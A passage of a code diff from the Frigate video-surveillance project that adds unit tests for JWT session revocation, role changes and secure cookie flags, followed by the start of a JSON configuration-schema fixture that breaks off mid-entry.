test_role_removed_from_config_is_rejected(self): - resp = self._auth(self._create_app(), "removed_role") + User.update(role="removed_role").where(User.username == "bob").execute() + app = self._create_app() + with AuthTestClient(app) as client: + for source in ("bearer", "cookie"): + resp = self._auth(client, self._token(app, "bob", "garage"), source) + self.assertEqual(resp.status_code, 401) + self.assertNotIn("remote-role", resp.headers) + + def test_login_refused_for_role_removed_from_config(self): + User.update(role="removed_role").where(User.username == "bob").execute() + with AuthTestClient(self._create_app()) as client: + resp = client.post("/login", json={"user": "bob", "password": PASSWORD}) self.assertEqual(resp.status_code, 401) - self.assertNotIn("remote-role", resp.headers) + self.assertNotIn("set-cookie", resp.headers) + + def test_demoted_user_gets_new_role_on_next_request(self): + app = self._create_app() + token = self._token(app, "bob", "admin") + User.update(role="admin").where(User.username == "bob").execute() + app.user_sessions["bob"] = ("admin", None) + + with AuthTestClient(app) as client: + self.assertEqual(self._auth(client, token).headers["remote-role"], "admin") + resp = client.put("/users/bob/role", json={"role": "viewer"}) + self.assertEqual(resp.status_code, 200) + + for source in ("bearer", "cookie"): + resp = self._auth(client, token, source) + self.assertEqual(resp.status_code, 202) + self.assertEqual(resp.headers["remote-role"], "viewer") + + def test_deleted_user_is_rejected(self): + app = self._create_app() + token = self._token(app, "bob", "garage") + + with AuthTestClient(app) as client: + self.assertEqual(self._auth(client, token).status_code, 202) + self.assertEqual(client.delete("/users/bob").status_code, 200) + + for source in ("bearer", "cookie"): + self.assertEqual(self._auth(client, token, source).status_code, 401) + + def test_recreated_user_rejects_token_from_deleted_account(self): + app = self._create_app() + token = self._token(app, "bob", "garage", iat=int(time.time()) - 10) + + with AuthTestClient(app) as client: + self.assertEqual(client.delete("/users/bob").status_code, 200) + resp = client.post( + "/users", + json={"username": "bob", "password": PASSWORD, "role": "viewer"}, + ) + self.assertEqual(resp.status_code, 200) + + for source in ("bearer", "cookie"): + self.assertEqual(self._auth(client, token, source).status_code, 401) + + def test_created_user_is_accepted(self): + app = self._create_app() + with AuthTestClient(app) as client: + resp = client.post( + "/users", + json={"username": "carol", "password": PASSWORD, "role": "viewer"}, + ) + self.assertEqual(resp.status_code, 200) + resp = self._auth(client, self._token(app, "carol", "viewer")) + + self.assertEqual(resp.status_code, 202) + self.assertEqual(resp.headers["remote-role"], "viewer") + + def test_password_change_revokes_older_tokens(self): + app = self._create_app() + old_token = self._token(app, "bob", "garage", iat=int(time.time()) - 10) + + with AuthTestClient(app) as client: + self.assertEqual(self._auth(client, old_token).status_code, 202) + resp = client.put( + "/users/bob/password", + json={"password": "a-brand-new-password"}, + ) + self.assertEqual(resp.status_code, 200) + + for source in ("bearer", "cookie"): + self.assertEqual(self._auth(client, old_token, source).status_code, 401) + + changed_at = app.user_sessions["bob"][1] + resp = self._auth(client, self._token(app, "bob", "garage", changed_at)) + self.assertEqual(resp.status_code, 202) + + def test_login_in_the_same_second_as_password_change_is_valid(self): + app = self._create_app() + changed_at = datetime.now().replace(microsecond=500000) + new_token = self._token(app, "bob", "garage", iat=int(changed_at.timestamp())) + + with ( + patch("frigate.api.auth.datetime") as mock_datetime, + AuthTestClient(app) as client, + ): + mock_datetime.now.return_value = changed_at + resp = client.put( + "/users/bob/password", + json={"password": "a-brand-new-password"}, + ) + self.assertEqual(resp.status_code, 200) + + for source in ("bearer", "cookie"): + self.assertEqual(self._auth(client, new_token, source).status_code, 202) + + def test_own_password_change_cookie_stays_valid(self): + app = self._create_app() + with AuthTestClient(app) as client: + resp = client.put( + "/users/bob/password", + json={"password": "a-brand-new-password", "old_password": PASSWORD}, + headers={"remote-user": "bob", "remote-role": "garage"}, + ) + self.assertEqual(resp.status_code, 200) + new_token = resp.cookies["frigate_token"] + + resp = self._auth(client, new_token, "cookie") + + self.assertEqual(resp.status_code, 202) + self.assertEqual(resp.headers["remote-role"], "garage") + + def test_admin_password_reset_revokes_older_tokens(self): + config = FrigateConfig( + **{**self.minimal_config, "auth": {"reset_admin_password": True}} + ) + FrigateApp.init_auth(SimpleNamespace(config=config)) + + app = self._create_app() + old_token = self._token(app, "admin", "admin", iat=int(time.time()) - 10) + + with AuthTestClient(app) as client: + for source in ("bearer", "cookie"): + self.assertEqual(self._auth(client, old_token, source).status_code, 401) + + def test_auth_does_not_query_users(self): + app = self._create_app() + + # expires inside the refresh window so the cookie refresh runs too + token = jwt.encode( + {"alg": "HS256"}, + {"sub": "bob", "role": "garage", "exp": int(time.time()) + 60, "iat": 0}, + app.jwt_token, + ) + + with ( + patch.object(User, "select", side_effect=AssertionError("db query")), + AuthTestClient(app) as client, + ): + client.cookies.set("frigate_token", token) + resp = client.get("/auth", headers={"x-server-port": "8971"}) + + self.assertEqual(resp.status_code, 202) + self.assertIn("frigate_token=", resp.headers["set-cookie"]) + + def _login_cookie(self, headers: dict | None = None) -> str: + with AuthTestClient(self._create_app()) as client: + resp = client.post( + "/login", + json={"user": "bob", "password": PASSWORD}, + headers=headers or {}, + ) + + self.assertEqual(resp.status_code, 200) + return resp.headers["set-cookie"].lower() + + def test_login_cookie_is_secure_over_tls(self): + cookie = self._login_cookie({"x-forwarded-proto": "https"}) + self.assertIn("; secure", cookie) + + def test_login_cookie_is_not_secure_over_http(self): + cookie = self._login_cookie({"x-forwarded-proto": "http"}) + self.assertNotIn("; secure", cookie) + + def test_cookie_secure_config_forces_secure(self): + self.minimal_config["auth"]["cookie_secure"] = True + cookie = self._login_cookie() + self.assertIn("; secure", cookie) + + def test_refreshed_cookie_is_secure_over_tls(self): + app = self._create_app() + token = jwt.encode( + {"alg": "HS256"}, + {"sub": "bob", "exp": int(time.time()) + 60, "iat": int(time.time())}, + app.jwt_token, + ) + + with AuthTestClient(app) as client: + client.cookies.set("frigate_token", token) + resp = client.get( + "/auth", + headers={"x-server-port": "8971", "x-forwarded-proto": "https"}, + ) + + self.assertEqual(resp.status_code, 202) + self.assertIn("; secure", resp.headers["set-cookie"].lower()) diff --git a/frigate/test/http_api/test_http_go2rtc_proxy_auth.py b/frigate/test/http_api/test_http_go2rtc_proxy_auth.py index c06f174bf3..5f818b7e76 100644 --- a/frigate/test/http_api/test_http_go2rtc_proxy_auth.py +++ b/frigate/test/http_api/test_http_go2rtc_proxy_auth.py @@ -33,6 +33,7 @@ class TestGo2rtcProxyAuth(BaseTestHttp): self.minimal_config = _CONFIG self.app = super().create_app() self.app.jwt_token = OctKey.import_key(b"0" * 32) + self.app.user_sessions = {"admin": ("admin", None), "viewer": ("viewer", None)} get_patch = patch( "frigate.api.auth.requests.get", diff --git a/web/e2e/fixtures/mock-data/config-schema.json b/web/e2e/fixtures/mock-data/config-schema.json index ff80d256a0..fc4f9ca63b 100644 --- a/web/e2e/fixtures/mock-data/config-schema.json +++ b/web/e2e/fixtures/mock-data/config-schema.json @@ -1 +1 @@ -{"$defs": {"AlertsConfig": {"additionalProperties": false, "description": "Configure alerts", "properties": {"enabled": {"default": true, "description": "Enable or disable alert generation for all cameras; can be overridden per-camera.", "title": "Enable alerts", "type": "boolean"}, "labels": {"default": ["person", "car"], "description": "List of object labels that qualify as alerts (for example: car, person).", "items": {"type": "string"}, "title": "Alert labels", "type": "array"}, "required_zones": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Zones that an object must enter to be considered an alert; leave empty to allow any zone.", "title": "Required zones"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Tracks whether alerts were originally enabled in the static configuration.", "title": "Original alerts state"}, "cutoff_time": {"default": 40, "description": "Seconds to wait after no alert-causing activity before cutting off an alert.", "title": "Alerts cutoff time", "type": "integer"}}, "title": "AlertsConfig", "type": "object"}, "AudioConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable audio event detection for all cameras; can be overridden per-camera.", "title": "Enable audio detection", "type": "boolean"}, "max_not_heard": {"default": 30, "description": "Amount of seconds without the configured audio type before the audio event is ended.", "title": "End timeout", "type": "integer"}, "min_volume": {"default": 500, "description": "Minimum RMS volume threshold required to run audio detection; lower values increase sensitivity (e.g., 200 high, 500 medium, 1000 low).", "title": "Minimum volume", "type": "integer"}, "listen": {"default": ["bark", "fire_alarm", "speech", "yell"], "description": "List of audio event types to detect (for example: bark, fire_alarm, speech, yell).", "items": {"type": "string"}, "title": "Listen types", "type": "array"}, "labelmap": {"additionalProperties": {"type": "string"}, "description": "Overrides or remapping entries to merge into the standard audio labelmap.", "title": "Audio labelmap customization", "type": "object"}, "filters": {"anyOf": [{"additionalProperties": {"$ref": "#/$defs/AudioFilterConfig"}, "type": "object"}, {"type": "null"}], "default": null, "description": "Per-audio-type filter settings such as confidence thresholds used to reduce false positives.", "title": "Audio filters"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Indicates whether audio detection was originally enabled in the static config file.", "title": "Original audio state"}, "num_threads": {"default": 2, "description": "Number of threads to use for audio detection processing.", "minimum": 1, "title": "Detection threads", "type": "integer"}}, "title": "AudioConfig", "type": "object"}, "AudioFilterConfig": {"additionalProperties": false, "properties": {"threshold": {"default": 0.8, "description": "Minimum confidence threshold for the audio event to be counted.", "exclusiveMaximum": 1.0, "minimum": 0.5, "title": "Minimum audio confidence", "type": "number"}}, "title": "AudioFilterConfig", "type": "object"}, "AudioTranscriptionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable automatic audio transcription for all cameras; can be overridden per-camera.", "title": "Enable audio transcription", "type": "boolean"}, "language": {"default": "auto", "description": "Language code used for transcription/translation (for example 'en' for English), or 'auto' to let the model detect it. See https://whisper-api.com/docs/languages/ for supported language codes.", "title": "Transcription language", "type": "string"}, "model": {"anyOf": [{"$ref": "#/$defs/AudioTranscriptionModelEnum"}, {"type": "string"}, {"type": "null"}], "default": "whisper", "description": "The transcription backend: 'whisper' for Frigate's built-in local models, or the name of a GenAI provider with the transcribe role.", "title": "Audio transcription model or GenAI provider name"}, "device": {"$ref": "#/$defs/EnrichmentsDeviceEnum", "default": "CPU", "description": "Device key (CPU/GPU) to run the transcription model on. Only NVIDIA CUDA GPUs are currently supported for transcription.", "title": "Transcription device"}, "model_size": {"$ref": "#/$defs/ModelSizeEnum", "default": "small", "description": "Model size to use for offline audio event transcription.", "title": "Model size"}, "live_enabled": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "Enable streaming live transcription for audio as it is received.", "title": "Live transcription"}}, "title": "AudioTranscriptionConfig", "type": "object"}, "AudioTranscriptionModelEnum": {"enum": ["whisper"], "title": "AudioTranscriptionModelEnum", "type": "string"}, "AuthConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable native authentication for the Frigate UI.", "title": "Enable authentication", "type": "boolean"}, "reset_admin_password": {"default": false, "description": "If true, reset the admin user's password on startup and print the new password in logs.", "title": "Reset admin password", "type": "boolean"}, "cookie_name": {"default": "frigate_token", "description": "Name of the cookie used to store the JWT token for native authentication.", "pattern": "^[a-z_]+$", "title": "JWT cookie name", "type": "string"}, "cookie_secure": {"default": false, "description": "Set the secure flag on the auth cookie; should be true when using TLS.", "title": "Secure cookie flag", "type": "boolean"}, "session_length": {"default": 86400, "description": "Session duration in seconds for JWT-based sessions.", "minimum": 60, "title": "Session length", "type": "integer"}, "refresh_time": {"default": 1800, "description": "When a session is within this many seconds of expiring, refresh it back to full length.", "minimum": 30, "title": "Session refresh window", "type": "integer"}, "failed_login_rate_limit": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Rate limiting rules for failed login attempts to reduce brute-force attacks.", "title": "Failed login limits"}, "trusted_proxies": {"default": [], "description": "List of trusted proxy IPs used when determining client IP for rate limiting.", "items": {"type": "string"}, "title": "Trusted proxies", "type": "array"}, "hash_iterations": {"default": 600000, "description": "Number of PBKDF2-SHA256 iterations to use when hashing user passwords.", "title": "Hash iterations", "type": "integer"}, "roles": {"additionalProperties": {"items": {"type": "string"}, "type": "array"}, "description": "Map roles to camera lists. An empty list grants access to all cameras for the role.", "title": "Role mappings", "type": "object"}, "admin_first_time_login": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "When true the UI may show a help link on the login page informing users how to sign in after an admin password reset. ", "title": "First-time admin flag"}}, "title": "AuthConfig", "type": "object"}, "BirdClassificationConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable bird classification.", "title": "Bird classification", "type": "boolean"}, "threshold": {"default": 0.9, "description": "Minimum classification score required to accept a bird classification.", "exclusiveMinimum": 0.0, "maximum": 1.0, "title": "Minimum score", "type": "number"}}, "title": "BirdClassificationConfig", "type": "object"}, "BirdseyeCameraConfig": {"properties": {"enabled": {"default": true, "description": "Enable or disable the Birdseye view feature.", "title": "Enable Birdseye", "type": "boolean"}, "modes": {"description": "Activity types that include cameras in Birdseye.", "items": {"$ref": "#/$defs/BirdseyeModeEnum"}, "title": "Activity types", "type": "array"}, "order": {"default": 0, "description": "Numeric position controlling the camera's ordering in the Birdseye layout.", "title": "Position", "type": "integer"}}, "title": "BirdseyeCameraConfig", "type": "object"}, "BirdseyeConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable the Birdseye view feature.", "title": "Enable Birdseye", "type": "boolean"}, "modes": {"description": "Activity types that include cameras in Birdseye.", "items": {"$ref": "#/$defs/BirdseyeModeEnum"}, "title": "Activity types", "type": "array"}, "restream": {"default": false, "description": "Re-stream the Birdseye output as an RTSP feed; enabling this will keep Birdseye running continuously.", "title": "Restream RTSP", "type": "boolean"}, "width": {"default": 1280, "description": "Output width (pixels) of the composed Birdseye frame.", "title": "Width", "type": "integer"}, "height": {"default": 720, "description": "Output height (pixels) of the composed Birdseye frame.", "title": "Height", "type": "integer"}, "quality": {"default": 8, "description": "Encoding quality for the Birdseye mpeg1 feed (1 highest quality, 31 lowest).", "maximum": 31, "minimum": 1, "title": "Encoding quality", "type": "integer"}, "inactivity_threshold": {"default": 30, "description": "Seconds of inactivity after which a camera will stop being shown in Birdseye.", "exclusiveMinimum": 0, "title": "Inactivity threshold", "type": "integer"}, "layout": {"$ref": "#/$defs/BirdseyeLayoutConfig", "description": "Layout options for the Birdseye composition.", "title": "Layout"}, "idle_heartbeat_fps": {"default": 0.0, "description": "Frames-per-second to resend the last composed Birdseye frame when idle; set to 0 to disable.", "maximum": 10.0, "minimum": 0.0, "title": "Idle heartbeat FPS", "type": "number"}}, "title": "BirdseyeConfig", "type": "object"}, "BirdseyeLayoutConfig": {"additionalProperties": false, "properties": {"scaling_factor": {"default": 2.0, "description": "Scaling factor used by the layout calculator (range 1.0 to 5.0).", "maximum": 5.0, "minimum": 1.0, "title": "Scaling factor", "type": "number"}, "max_cameras": {"anyOf": [{"type": "integer"}, {"type": "null"}], "default": null, "description": "Maximum number of cameras to display at once in Birdseye; shows the most recent cameras.", "title": "Max cameras"}}, "title": "BirdseyeLayoutConfig", "type": "object"}, "BirdseyeModeEnum": {"enum": ["continuous", "motion", "all_objects", "alerts", "detections"], "title": "BirdseyeModeEnum", "type": "string"}, "CameraAudioTranscriptionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable manually triggered audio event transcription.", "title": "Enable transcription", "type": "boolean"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Original transcription state"}, "live_enabled": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": false, "description": "Enable streaming live transcription for audio as it is received.", "title": "Live transcription"}}, "title": "CameraAudioTranscriptionConfig", "type": "object"}, "CameraConfig": {"additionalProperties": false, "properties": {"name": {"anyOf": [{"pattern": "^[a-zA-Z0-9_-]+$", "type": "string"}, {"type": "null"}], "default": null, "description": "Camera name is required", "title": "Camera name"}, "friendly_name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Camera friendly name used in the Frigate UI", "title": "Friendly name"}, "enabled": {"default": true, "description": "Enabled", "title": "Enabled", "type": "boolean"}, "audio": {"$ref": "#/$defs/AudioConfig", "description": "Settings for audio-based event detection for this camera.", "title": "Audio detection"}, "audio_transcription": {"$ref": "#/$defs/CameraAudioTranscriptionConfig", "description": "Settings for live and speech audio transcription used for events and live captions.", "title": "Audio transcription"}, "birdseye": {"$ref": "#/$defs/BirdseyeCameraConfig", "description": "Settings for the Birdseye composite view that composes multiple camera feeds into a single layout.", "title": "Birdseye"}, "detect": {"$ref": "#/$defs/DetectConfig", "description": "Settings for the detection/detect role used to run object detection and initialize trackers.", "title": "Object Detection"}, "face_recognition": {"$ref": "#/$defs/CameraFaceRecognitionConfig", "description": "Settings for face detection and recognition for this camera.", "title": "Face recognition"}, "ffmpeg": {"$ref": "#/$defs/CameraFfmpegConfig", "description": "Camera stream inputs and FFmpeg options, including binary path, args, hwaccel, and per-role output args.", "title": "Streams (FFmpeg)"}, "live": {"$ref": "#/$defs/CameraLiveConfig", "description": "Settings used by the Web UI to control live stream selection, resolution and quality.", "title": "Live playback"}, "lpr": {"$ref": "#/$defs/CameraLicensePlateRecognitionConfig", "description": "License plate recognition settings including detection thresholds, formatting, and known plates.", "title": "License Plate Recognition"}, "motion": {"$ref": "#/$defs/MotionConfig", "default": null, "description": "Default motion detection settings for this camera.", "title": "Motion detection"}, "objects": {"$ref": "#/$defs/ObjectConfig", "description": "Object tracking defaults including which labels to track and per-object filters.", "title": "Objects"}, "record": {"$ref": "#/$defs/RecordConfig", "description": "Recording and retention settings for this camera.", "title": "Recording"}, "review": {"$ref": "#/$defs/ReviewConfig", "description": "Settings that control alerts, detections, and GenAI review summaries used by the UI and storage for this camera.", "title": "Review"}, "semantic_search": {"$ref": "#/$defs/CameraSemanticSearchConfig", "description": "Settings for semantic search which builds and queries object embeddings to find similar items.", "title": "Semantic Search"}, "snapshots": {"$ref": "#/$defs/SnapshotsConfig", "description": "Settings for API-generated snapshots of tracked objects for this camera.", "title": "Snapshots"}, "timestamp_style": {"$ref": "#/$defs/TimestampStyleConfig", "description": "Styling options for timestamps applied to snapshots and Debug view.", "title": "Timestamp style"}, "best_image_timeout": {"default": 60, "description": "How long to wait for the image with the highest confidence score.", "title": "Best image timeout", "type": "integer"}, "mqtt": {"$ref": "#/$defs/CameraMqttConfig", "description": "MQTT image publishing settings.", "title": "MQTT"}, "notifications": {"$ref": "#/$defs/NotificationConfig", "description": "Settings to enable and control notifications for this camera.", "title": "Notifications"}, "onvif": {"$ref": "#/$defs/OnvifConfig", "description": "ONVIF connection and PTZ autotracking settings for this camera.", "title": "ONVIF"}, "type": {"$ref": "#/$defs/CameraTypeEnum", "default": "generic", "description": "Camera Type", "title": "Camera type"}, "ui": {"$ref": "#/$defs/CameraUiConfig", "description": "Display ordering and visibility for this camera in the UI. Ordering affects the default dashboard. For more granular control, use camera groups.", "title": "Camera UI"}, "webui_url": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "URL to visit the camera directly from system page", "title": "Camera URL"}, "profiles": {"additionalProperties": {"$ref": "#/$defs/CameraProfileConfig"}, "description": "Named config profiles with partial overrides that can be activated at runtime.", "title": "Profiles", "type": "object"}, "zones": {"additionalProperties": {"$ref": "#/$defs/ZoneConfig"}, "description": "Zones allow you to define a specific area of the frame so you can determine whether or not an object is within a particular area.", "title": "Zones", "type": "object"}, "enabled_in_config": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "description": "Keep track of original state of camera.", "title": "Original camera state"}}, "required": ["ffmpeg"], "title": "CameraConfig", "type": "object"}, "CameraFaceRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable face recognition.", "title": "Enable face recognition", "type": "boolean"}, "min_area": {"default": 750, "description": "Minimum area (pixels) of a detected face box required to attempt recognition.", "title": "Minimum face area", "type": "integer"}}, "title": "CameraFaceRecognitionConfig", "type": "object"}, "CameraFfmpegConfig": {"additionalProperties": false, "properties": {"path": {"default": "default", "description": "Path to the FFmpeg binary to use or a version alias (\"7.0\" or \"8.0\").", "title": "FFmpeg path", "type": "string"}, "global_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": ["-hide_banner", "-loglevel", "warning", "-threads", "2"], "description": "Global arguments passed to FFmpeg processes.", "title": "FFmpeg global arguments"}, "hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "auto", "description": "Hardware acceleration arguments for FFmpeg. Provider-specific presets are recommended.", "title": "Hardware acceleration arguments"}, "input_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "default": "preset-rtsp-generic", "description": "Input arguments applied to FFmpeg input streams.", "title": "Input arguments"}, "output_args": {"$ref": "#/$defs/FfmpegOutputArgsConfig", "description": "Default output arguments used for different FFmpeg roles such as detect and record.", "title": "Output arguments"}, "retry_interval": {"default": 10.0, "description": "Seconds to wait before attempting to reconnect a camera stream after failure. Default is 10.", "exclusiveMinimum": 0.0, "title": "FFmpeg retry time", "type": "number"}, "apple_compatibility": {"default": false, "description": "Enable HEVC tagging for better Apple player compatibility when recording H.265.", "title": "Apple compatibility", "type": "boolean"}, "gpu": {"default": 0, "description": "Default GPU index used for hardware acceleration if available.", "title": "GPU index", "type": "integer"}, "inputs": {"description": "List of input stream definitions (paths and roles) for this camera.", "items": {"$ref": "#/$defs/CameraInput"}, "title": "Camera inputs", "type": "array"}}, "required": ["inputs"], "title": "CameraFfmpegConfig", "type": "object"}, "CameraGroupConfig": {"additionalProperties": false, "properties": {"cameras": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Array of camera names included in this group.", "title": "Camera list"}, "icon": {"default": "generic", "description": "Icon used to represent the camera group in the UI.", "title": "Group icon", "type": "string"}, "order": {"default": 0, "description": "Numeric order used to sort camera groups in the UI; larger numbers appear later.", "title": "Sort order", "type": "integer"}}, "title": "CameraGroupConfig", "type": "object"}, "CameraInput": {"additionalProperties": false, "properties": {"path": {"description": "Camera input stream URL or path.", "title": "Input path", "type": "string"}, "roles": {"description": "Roles for this input stream.", "items": {"$ref": "#/$defs/CameraRoleEnum"}, "title": "Input roles", "type": "array"}, "global_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "FFmpeg global arguments for this input stream.", "title": "FFmpeg global arguments"}, "hwaccel_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Hardware acceleration arguments for this input stream.", "title": "Hardware acceleration arguments"}, "input_args": {"anyOf": [{"type": "string"}, {"items": {"type": "string"}, "type": "array"}], "description": "Input arguments specific to this stream.", "title": "Input arguments"}}, "required": ["path", "roles"], "title": "CameraInput", "type": "object"}, "CameraLicensePlateRecognitionConfig": {"additionalProperties": false, "properties": {"enabled": {"default": false, "description": "Enable or disable LPR on this camera.", "title": "Enable LPR", "type": "boolean"}, "expire_time": {"default": 3, "description": "Time in seconds after which an unseen plate is expired from the tracker (for dedicated LPR cameras only).", "exclusiveMinimum": 0, "title": "Expire seconds", "type": "integer"}, "min_area": {"default": 1000, "description": "Minimum plate area (pixels) required to attempt recognition.", "title": "Minimum plate area", "type": "integer"}, "enhancement": {"default": 0, "description": "Enhancement level (0-10) to apply to plate crops prior to OCR; higher values may not always improve results, levels above 5 may only work with night time plates and should be used with caution.", "maximum": 10, "minimum": 0, "title": "Enhancement level", "type": "integer"}}, "title": "CameraLicensePlateRecognitionConfig", "type": "object"}, "CameraLiveConfig": {"additionalProperties": false, "properties": {"streams": {"additionalProperties": {"type": "string"}, "description": "Mapping of configured stream names to restream/go2rtc names used for live playback.", "title": "Live stream names", "type": "object"}, "transcode": {"$ref": "#/$defs/LiveTranscodeConfig", "description": "Lower-quality live streams transcoded on demand by go2rtc.", "title": "Transcoded streams"}, "height": {"default": 720, "description": "Height (pixels) to render the jsmpeg live stream in the Web UI; must be <= detect stream height.", "title": "Live height", "type": "integer"}, "quality": {"default": 8, "description": "Encoding quality for the jsmpeg stream (1 highest, 31 lowest).", "maximum": 31, "minimum": 1, "title": "Live quality", "type": "integer"}}, "title": "CameraLiveConfig", "type": "object"}, "CameraMqttConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable publishing image snapshots for objects to MQTT topics for this camera.", "title": "Send image", "type": "boolean"}, "timestamp": {"default": true, "description": "Overlay a timestamp on images published to MQTT.", "title": "Add timestamp", "type": "boolean"}, "bounding_box": {"default": true, "description": "Draw bounding boxes on images published over MQTT.", "title": "Add bounding box", "type": "boolean"}, "crop": {"default": true, "description": "Crop images published to MQTT to the detected object's bounding box.", "title": "Crop image", "type": "boolean"}, "height": {"default": 270, "description": "Height (pixels) to resize images published over MQTT.", "title": "Image height", "type": "integer"}, "required_zones": {"description": "Zones that an object must enter for an MQTT image to be published.", "items": {"type": "string"}, "title": "Required zones", "type": "array"}, "quality": {"default": 70, "description": "JPEG quality for images published to MQTT (0-100).", "maximum": 100, "minimum": 0, "title": "JPEG quality", "type": "integer"}}, "title": "CameraMqttConfig", "type": "object"}, "CameraProfileConfig": {"additionalProperties": false, "description": "A named profile containing partial camera config overrides.\n\nSections set to None inherit from the camera's base config.\nSections that are defined get Pydantic-validated, then only\nexplicitly-set fields are used as overrides via exclude_unset.", "properties": {"enabled": {"anyOf": [{"type": "boolean"}, {"type": "null"}], "default": null, "title": "Enabled"}, "audio": {"anyOf": [{"$ref": "#/$defs/AudioConfig"}, {"type": "null"}], "default": null}, "birdseye": {"anyOf": [{"$ref": "#/$defs/BirdseyeCameraConfig"}, {"type": "null"}], "default": null}, "detect": {"anyOf": [{"$ref": "#/$defs/DetectConfig"}, {"type": "null"}], "default": null}, "face_recognition": {"anyOf": [{"$ref": "#/$defs/CameraFaceRecognitionConfig"}, {"type": "null"}], "default": null}, "lpr": {"anyOf": [{"$ref": "#/$defs/CameraLicensePlateRecognitionConfig"}, {"type": "null"}], "default": null}, "motion": {"anyOf": [{"$ref": "#/$defs/MotionConfig"}, {"type": "null"}], "default": null}, "notifications": {"anyOf": [{"$ref": "#/$defs/NotificationConfig"}, {"type": "null"}], "default": null}, "objects": {"anyOf": [{"$ref": "#/$defs/ObjectConfig"}, {"type": "null"}], "default": null}, "record": {"anyOf": [{"$ref": "#/$defs/RecordConfig"}, {"type": "null"}], "default": null}, "review": {"anyOf": [{"$ref": "#/$defs/ReviewConfig"}, {"type": "null"}], "default": null}, "snapshots": {"anyOf": [{"$ref": "#/$defs/SnapshotsConfig"}, {"type": "null"}], "default": null}, "zones": {"anyOf": [{"additionalProperties": {"$ref": "#/$defs/ZoneConfig"}, "type": "object"}, {"type": "null"}], "default": null, "title": "Zones"}}, "title": "CameraProfileConfig", "type": "object"}, "CameraRoleEnum": {"enum": ["audio", "record", "record_sub", "detect"], "title": "CameraRoleEnum", "type": "string"}, "CameraSemanticSearchConfig": {"additionalProperties": false, "properties": {"triggers": {"additionalProperties": {"$ref": "#/$defs/TriggerConfig"}, "default": {}, "description": "Actions and matching criteria for camera-specific semantic search triggers.", "title": "Triggers", "type": "object"}}, "title": "CameraSemanticSearchConfig", "type": "object"}, "CameraTypeEnum": {"enum": ["generic", "lpr"], "title": "CameraTypeEnum", "type": "string"}, "CameraUiConfig": {"additionalProperties": false, "properties": {"order": {"default": 0, "description": "Numeric order used to sort the camera in the UI (default dashboard and lists); larger numbers appear later.", "title": "UI order", "type": "integer"}, "dashboard": {"default": true, "description": "Toggle whether this camera is visible on the default All Cameras live dashboard. The camera remains available everywhere else in the UI, including camera groups and settings.", "title": "Show on Live dashboard", "type": "boolean"}, "review": {"default": true, "description": "Toggle whether this camera is visible in review (the review page and its camera filter, motion review, and the history view).", "title": "Show in review", "type": "boolean"}}, "title": "CameraUiConfig", "type": "object"}, "ChaptersEnum": {"enum": ["none", "recording_segments", "review_items"], "title": "ChaptersEnum", "type": "string"}, "ClassificationConfig": {"additionalProperties": false, "properties": {"bird": {"$ref": "#/$defs/BirdClassificationConfig", "description": "Settings specific to bird classification models.", "title": "Bird classification config"}, "custom": {"additionalProperties": {"$ref": "#/$defs/CustomClassificationConfig"}, "default": {}, "description": "Configuration for custom classification models used for objects or state detection.", "title": "Custom Classification Models", "type": "object"}}, "title": "ClassificationConfig", "type": "object"}, "ColorConfig": {"additionalProperties": false, "properties": {"red": {"default": 255, "description": "Red component (0-255) for timestamp color.", "maximum": 255, "minimum": 0, "title": "Red", "type": "integer"}, "green": {"default": 255, "description": "Green component (0-255) for timestamp color.", "maximum": 255, "minimum": 0, "title": "Green", "type": "integer"}, "blue": {"default": 255, "description": "Blue component (0-255) for timestamp color.", "maximum": 255, "minimum": 0, "title": "Blue", "type": "integer"}}, "title": "ColorConfig", "type": "object"}, "CustomClassificationConfig": {"additionalProperties": false, "properties": {"enabled": {"default": true, "description": "Enable or disable the custom classification model.", "title": "Enable model", "type": "boolean"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "description": "Identifier for the custom classification model to use.", "title": "Model name"}, "threshold": {"default": 0.8, "description": "Score threshold used to change the classification state.", "title": "Score threshold", "type": "number"}, "save_attempts": {"anyOf": [{"minimum": 0, "type": "integer"}, {"type": "null"}], "default": null, "description": "How many classification attempts to save for recent classifications UI.", "title": "Save attempts"}, "object_config": {"anyOf": [{"$ref": "#/$defs/CustomClassificationObjectConfig"}, {"type": "null"}], "default": null}, "state_config": {"anyOf": [{"$ref": "#/$defs/CustomClassificationStateConfig"}, {"type": "null"}], "default": null}}, "title": "CustomClassificationConfig", "type": "object"}, "CustomClassificationObjectConfig": {"additionalProperties": false, "properties": {"objects": {"description": "List of object types to run object classification on.", "items": {"type": "string"}, "title": "Classify objects", "type": "array"}, "classification_type": {"$ref": "#/$defs/ObjectClassificationType", "default": "sub_label", "description": "Classification type applied: 'sub_label' (adds sub_label) or other supported 